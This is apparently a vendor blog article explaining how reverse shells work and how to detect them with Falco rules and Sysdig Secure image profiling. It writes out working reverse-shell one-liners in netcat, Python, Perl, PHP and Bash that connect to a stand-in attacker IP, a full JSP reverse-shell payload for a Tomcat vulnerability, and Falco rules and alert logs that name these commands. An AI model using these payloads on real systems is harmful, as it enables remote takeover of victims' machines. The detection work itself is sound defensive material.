Reverse shell is a way that attackers gain access to a victim’s system. In this article, you’ll learn how this attack works and how you can detect it using Falco, a CNCF project, as well as Sysdig Secure.
Sometimes, an application vulnerability can be exploited in a way that allows an attacker to establish a reverse shell connection, which grants them interactive access to the system. Once the attacker gains this access to the system, they may conduct reconnaissance, lateral movement and try to escalate privileges. From there, they can steal sensitive data from the system or database, and install crypto miners.
The behavior conducted by the attacker from a reverse shell usually stands out from the normal application’s behavior. This difference is even more obvious in a microservice environment, given containers tend to be single, lightweight processes with rather rutinary conduct.
Falco detects this kind of abnormal behaviors in applications, containers and hosts. Sysdig Secure is the enterprise offering that not only detects abnormal behavior, but also takes response actions.
Now, let’s take a closer look at how this attack works.
↪️ Reverse shell is a way that attackers gain access to a victim’s system 🕵️♂️💣. Learn how this attack works and how you can detect it using @Falco_org, a CNCF project, as well as Sysdig Secure. Click to tweetHow reverse shell works
In a normal scenario, when using a remote system access tool like ssh, it’s the user (the client) who initiates a connection request to a target machine. There, the server (a ssh daemon) is listening for the incoming request. Once received, it performs authentication and, if successful, an interactive connection is established.
This is called the bind shell, and it is easy to block from attacks. Common firewall setups will block incoming traffic to port 22 and only allow ports 80 for HTTP, and 443 for HTTPS.
Reverse shell tries to circumvent these protections by reversing the roles. It is the target machine that initiates the connection request to the user end.
As firewalls usually have less restricted rules for outgoing traffic, instead of setting an interactive shell connection in the victim machine, an attacker could send a connection request to a shell listener on an attack machine with a public IP. A common tool to set up such a shell listener is netcat.
How to detect a reverse shell
Observing a reverse shell running is a strong indicator that part of your system has been compromised. The earlier you detect such malicious behavior, the less damage can be caused.
In this section, we’ll go over some typical reverse shell code snippets and explain how it works. Then, we’ll demonstrate how Falco can help detect reverse shell activities.
Keep in mind that there are more advanced reverse shells which are more difficult to detect. We will also demonstrate how Sysdig Secure can help detect such advanced attack scenarios.
Netcat as reverse shell
Netcat can be used to both set up a shell listener and initiate reverse shell connections from the victim machine. Here’s a quick example to setup a shell listener:
nc -l -p 1234
The command above would launch a nc server listening on port 1234. This would be done on the attacker’s side. Note that the shell server is binded to a public IP address on the attacker’s side.
On the victim side, the attacker would initiate the interactive shell connection with the following command:
nc -e /bin/bash <attacker IP> 1234
The command above runs /bin/bash after connecting to the attacker’s shell listener, thus, establishing the reverse shell.
Detect with Falco
Among Falco’s out-of-the-box rules, there’s one to detect a reverse shell. It recognizes connections initiated from a container, based on the process name and command line arguments:
- rule: Netcat Remote Code Execution in Container
desc: Netcat Program runs inside container that allows remote code execution
condition: >
spawned_process and container and
((proc.name = "nc" and (proc.args contains "-e" or proc.args contains "-c")) or
(proc.name = "ncat" and (proc.args contains "--sh-exec" or proc.args contains "--exec" or proc.args contains "-e "
or proc.args contains "-c " or proc.args contains "--lua-exec"))
)
output: >
Netcat runs inside container that allows remote code execution (user=%user.name
command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
priority: WARNING
tags: [network, process, mitre_execution]
The rule above detects any process named nc and its variation ncat, as well as command arguments like -e or -c. Both -e and -c flags execute commands like sh or bash after a reverse shell connection is established.
The output of the detection would be something like:
22:59:18.067815266: Warning Netcat runs inside container that allows remote code execution (user=root command=nc -e /bin/bash 34.203.xxx.xxx 1234 container_id=abaf42c1ac36 container_name=victim image=kaizheh/ubuntu:latest)
Notice that the falco event provides detailed information about this malicious behavior, such as user, command, container_id, container_name and image. Once detected, you should take action immediately, before the attacker gains extra access to the cluster.
Now, let’s take a look at other ways to establish reverse shell connection.
Reverse shell in one line script
In most cases, netcat isn’t installed inside a container or recommended to be. However, the attacker doesn’t necessarily have to install netcat, they only need to run one line of code to establish a reverse shell connection. Let’s look at a few common examples:
A Python reverse shell
Python is commonly used in production systems. It will most likely be installed already, so it may be a good option for a reverse shell connection:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker IP>",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
A Perl reverse shell
Perl is another good candidate to establish reverse shell connection:
perl -e 'use Socket;$i="<attacker IP>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
A PHP reverse shell
If the victim container hosts a web server and uses PHP, the language is a great option for reverse shell:
php -r '$sock=fsockopen("<attacker IP>",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
A Bash reverse shell
Finally, this is the simplest way to establish a reverse shell connection in almost all Linux systems:
/bin/bash -i >& /dev/tcp/<attacker IP>/1234 0>&1
What does a remote shell attack look like?
If you look at all of the one-liners above, you may notice they all include both a network connection and a shell execution. How can we connect the dots together and detect it with Falco?
First, we need to know what an established reverse shell would look like in a container.
If we use ps aux to look at system resources like processes, network connections and open file descriptors, it would be something like:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 4532 812 ? Ss 16:07 0:00 sleep 3600 root 6 0.0 0.0 18508 3512 pts/0 Ss 16:07 0:00 bash root 6693 0.0 0.0 18508 3444 pts/1 Ss 16:47 0:00 bash root 6712 0.0 0.0 4628 784 pts/0 S+ 16:47 0:00 /bin/sh -i root 6716 0.0 0.0 34400 2820 pts/1 R+ 17:01 0:00 ps aux
The sleep command (PID 1) is the entrypoint of this example image, and does nothing but sleep. The rest of the processes shouldn’t appear on a regular container.
PID 6693 and PID 6716 are running on the same TTY, pts/1, which is the current terminal, running ps aux.
PID 6 is running another shell with PID 6712, running /bin/sh -i. This is the reverse shell.
Though a reverse shell is a shell, it doesn’t mean every shell is a reverse shell. Sometimes, DevOps need to exec into a pod or container to perform debugging or admin tasks. So relying solely on a shell process launched isn’t sufficient.
Let’s also observe what the network connections look like:
Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 172.17.0.2:34724 34.203.xxx.xxx:1234 ESTABLISHED
There is one tcp connection to 34.203.xxx.xxx:1234. Remember that this container does nothing but sleep, so any external network connection is suspicious.
Here, the example is clear, but in containers that perform network requests, it would be hard to differentiate which one is for the reverse shell. It would be especially difficult if the external IP address wasn’t blacklisted. This is also the challenge that firewalls face to block reverse shell connection.
Let’s now look at the open file descriptors using lsof -i:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME sh 20 root 0u IPv4 80319 0t0 TCP 2ff2322dc5b4:34724->ec2-34-203-xxx-xxx.compute-1.amazonaws.com:1234 (ESTABLISHED) sh 20 root 1u IPv4 80319 0t0 TCP 2ff2322dc5b4:34724->ec2-34-203-xxx-xxx.compute-1.amazonaws.com:1234 (ESTABLISHED) sh 20 root 2u IPv4 80319 0t0 TCP 2ff2322dc5b4:34724->ec2-34-203-xxx-xxx.compute-1.amazonaws.com:1234 (ESTABLISHED)
The lsof -i command lists the open file descriptors based on their IP addresses.
This output looks interesting. The file descriptors 0, 1 and 2 stand for STDIN, STDOUT and STDERR. What does this mean? In a terminal, STDIN means input from your keyboard while STDOUT means the output to the screen. Both of them are redirected to a remote connection. This is an indicator of reverse shell, as somebody remote is interacting with a STDIN and STDOUT of the system.
Detecting a reverse shell with Falco
Let’s create a Falco rule using what we’ve seen so far to detect these reverse shells.
Usually, when a program starts a network connection, the system will open a socket for the network connection. A socket is nothing but a file descriptor with a number assigned by the system. Each open file descriptor in the system has a number assigned and never conflicts with each other. By default, STDIN is assigned with 0, STDOUT with 1 and STDERR with 2.
We’ve seen in the examples above that a reverse shell redirects STDIN and STDOUT to an open socket with a network connection. In the Unix system, this redirection is done via the dup system call.
So, we could use dup to detect a reverse shell, and the Falco rule would look like this:
- rule: Redirect STDOUT/STDIN to Network Connection in Container
desc: Detect redirecting stdout/stdin to network connection in container (potential reverse shell).
condition: evt.type=dup and evt.dir=> and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6") and not user_known_stand_streams_redirect_activities
output: >
Redirect stdout/stdin to network connection (user=%user.name user_loginuid=%user.loginuid %container.info process=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip)
priority: WARNING
In the condition section, you can see this Falco rule is detecting any dup system call that duplicates file descriptors in any STDIN, STDOUT and STDERR with a network type file descriptor.
condition: evt.type=dup and evt.dir=> and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6") and not user_known_stand_streams_redirect_activities
When a reverse shell is established, the output will look like:
02:03:52.618055919: Redirect stdout/stdin to network connection (user=root victim (id=2ff2322dc5b4) process=perl parent=bash cmdline=perl -e use Socket;$i="34.203.xxx.xxx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; terminal=34816 container_id=2ff2322dc5b4 image=kaizheh/ubuntu fd.name=172.17.0.2:34726->34.203.xxx.xxx:1234 fd.num=0 fd.type=ipv4 fd.sip=34.203.xxx.xxx)
02:03:52.618067837: Redirect stdout/stdin to network connection (user=root victim (id=2ff2322dc5b4) process=perl parent=bash cmdline=perl -e use Socket;$i="34.203.xxx.xxx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; terminal=34816 container_id=2ff2322dc5b4 image=kaizheh/ubuntu fd.name=172.17.0.2:34726->34.203.xxx.xxx:1234 fd.num=1 fd.type=ipv4 fd.sip=34.203.xxx.xxx)
02:03:52.618076419: Redirect stdout/stdin to network connection (user=root victim (id=2ff2322dc5b4) process=perl parent=bash cmdline=perl -e use Socket;$i="34.203.xxx.xxx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; terminal=34816 container_id=2ff2322dc5b4 image=kaizheh/ubuntu fd.name=172.17.0.2:34726->34.203.xxx.xxx:1234 fd.num=2 fd.type=ipv4 fd.sip=34.203.xxx.xxx)
The reason you see three reverse shell warning messages here is that the little perl script ran dup system calls on STDIN, STDOUT and STDERR respectively.
Advanced payload
Application’s vulnerabilities may be exploited to establish a reverse shell.
For example, in a Tomcat server affected by CVE-2017-12617 with HTTP PUT enabled, an attacker can upload malicious JSP code that will be executed by the Tomcat server. In the JSP code, the attacker can build a stream connector that joins the STDIN/STDOUT stream with the socket stream (without dup) so it becomes a reverse shell.
An example JSP payload code would look like the following:
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
}
try
{
Socket
socket = new Socket( "<attacker IP>″, 37779 );
Process process = Runtime.getRuntime().exec( "sh" );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
From this malicious payload, we can only know that there is a shell spawned up and there is a remote connection to an IP with port 37779.
With such a form, it becomes even harder to detect. How can we infer that this is a reverse shell without looking into the code?
Let’s see how Sysdig Secure can help.
Image profiling in Sysdig Secure
Image profiling is a feature in Sysdig Secure that helps define the expected behavior of an image.
Within 24 hours of learning a container’s behavior, a learned profile will have insight into what processes, file system activity, networking behavior and system calls are considered safe in that type of container.
After the image profile is built, DevOps and security teams can use the learned profile snapshot to create a policy set. This policy set can be applied to containers automatically, providing a scalable runtime defense for large-scale environments.
Going back to our Tomcat example from before, this is what an image profile would look like:
The profile has been built for the Tomcat image in the network connections, file activities, processes and syscalls areas.
Some details about the profile:
- Processes run inside the Tomcat containers are: bash, dirname, java, tty and uname.
- The listening port is 8080.
- There is no outgoing network connection.
- The files opened in read/write mode are: index_jsp.class, index_jsp.java, index_jsp.classtmp and a few log files.
- And there are 43 syscalls.
Now, we can build a Sysdig Secure policy for Tomcat based on this learned profile.
Detecting a reverse shell with Sysdig Secure
We have used Metasploit to launch an attack with the malicious JSP payload.
Sysdig Secure has detected it, and here are the alerts we see:
This alert shows that there were some files written in a Tomcat container. They are java .class files, including a StreamConnector class.
This alert shows that there was an external connection initiated from a Tomcat container, in particular, from the java process.
This alert shows that a shell, sh, was spawned. Note that bash was recorded in the image profile because bash was executed as the image entrypoint.
This alert shows that a ls command was executed inside the Tomcat container.
You can expect to see more alerts like this when the attacker tries to exploit the victim by running different commands.
This is because Sysdig Secure built, from the image profile, a white list of processes which are allowed to be executed in the container. Any other process will trigger a secure policy event.
All of those images, when seen isolated, may not give enough information to find the root cause. However, the Sysdig Secure UI correlates them together. You can easily see that they happened inside the same container and around the same time. This makes it a lot easier to conclude that there was a reverse shell established inside the Tomcat container.
Conclusion
When an attacker gains access to the system, there are multiple ways to establish a reverse shell. Sometimes, the behavior of the reverse shell could be hard to detect. Only with a full knowledge of your system’s (container’s) behavior will you be able to build a trustworthy whitelist of file activities, network activities and process activities. And only then will you be able to detect anomalous activities like reverse shell inside your system with assurance.
If you are interested in a free trial of Sysdig Secure, sign up here!